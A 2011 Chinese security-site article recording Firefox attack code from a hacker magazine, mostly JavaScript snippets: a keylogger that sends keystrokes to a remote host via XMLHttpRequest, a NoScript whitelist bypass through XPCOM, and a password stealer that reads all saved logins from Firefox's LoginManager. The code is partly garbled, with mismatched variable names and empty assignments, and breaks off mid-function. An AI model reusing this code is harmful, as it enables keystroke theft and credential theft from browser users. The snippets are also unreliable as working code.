首页 > 安全 > 系统安全 >

Firefox攻击检测技巧总结

2011-05-13

泉哥在阅读《ClubHACK》黑客杂志时,看到一篇关于Firefox浏览器攻击手法的文章,标题为《Mozilla Firefox Internals & Attack Strategies》,里面提供有多份javascript代码,用于实现Firefox浏览器下的脚本攻击。本文对此作个简单记

泉哥

阅读《ClubHACK》黑客杂志时,看到一篇关于Firefox浏览器攻击手法的文章,
标题为《Mozilla Firefox Internals & Attack Strategies》,里面提供有多份javascript代码,
用于实现Firefox浏览器下的脚本攻击。本文对此作个简单记录留作备忘,
以后需要用到时方便回头查阅,并参考其它资料作一总结性记录。
一、Key Logger
// 先在Mozilla Firefox中用addEventListener为keypress事件注册一个事件处理程序,
这里为onkey函数,以此实现键盘记录功能。
document.addEventListener("keypress", onkey,false);
var keys=;
function onkey(e){
keyss += String.fromCharCode(e.charCode); // 将按键码转换为字符
if (keys.length>20){
// 利用XMLHTTP请求向远程网站发送记录下的按键字符
http=new XMLHttpRequest();
url = "http://***********.com/prasannak/ler****.php?keylog="+keyss+" ";
http.open("GET",url,false);
http.send(null);
keyss=;



二、No-Script Bypass

利用XPCOM(跨平台组件对象模型)中的类和组件来向将恶意站点添加到no-script白名单中,
以此绕过no-script插件的保护。

// 其中let关键字只在Firefox或者其它基于mozilla的浏览器中有效,它代表着类似局部变量的意义,
具体可参考这里:
// https://developer.mozilla.org/en/New_in_JavaScript_1.7#let_statement
let Sub_btn = {
onCommand: function(event) {
// 创建preferences-service实例
var perfs =
Components.classes["@mozilla.org/preferences-service;1"].
getService(Components.interfaces.nsIPrefService);
// 获取“capability.policy.maonoscript.”子分支
perfs = perfs.getBranch("capability.policy.maonoscript.");
//向no-script白名单中添加恶意站点
perfs.setCharPref("sites", "default noscript whitelisted sites +
malicioussitehere.com”);");



三、Password Stealer

利用XPCOM来获取LoginManager中记录的登陆信息,以截取用户的登陆密码。
let HelloWorld = {
onCommand: function(event) {
// 创建login-manager实例
var l2m =
Components.classes["@mozilla.org/login-manager;1"].
getService(Components.interfaces.nsILoginManager);
// 获取所有被登陆管理器记录的信息
alltheinfo = l2m.getAllLogins({});
for (i=0; I<=alltheinfo.length; i=i+1){
window.open(
相关文章
热点推荐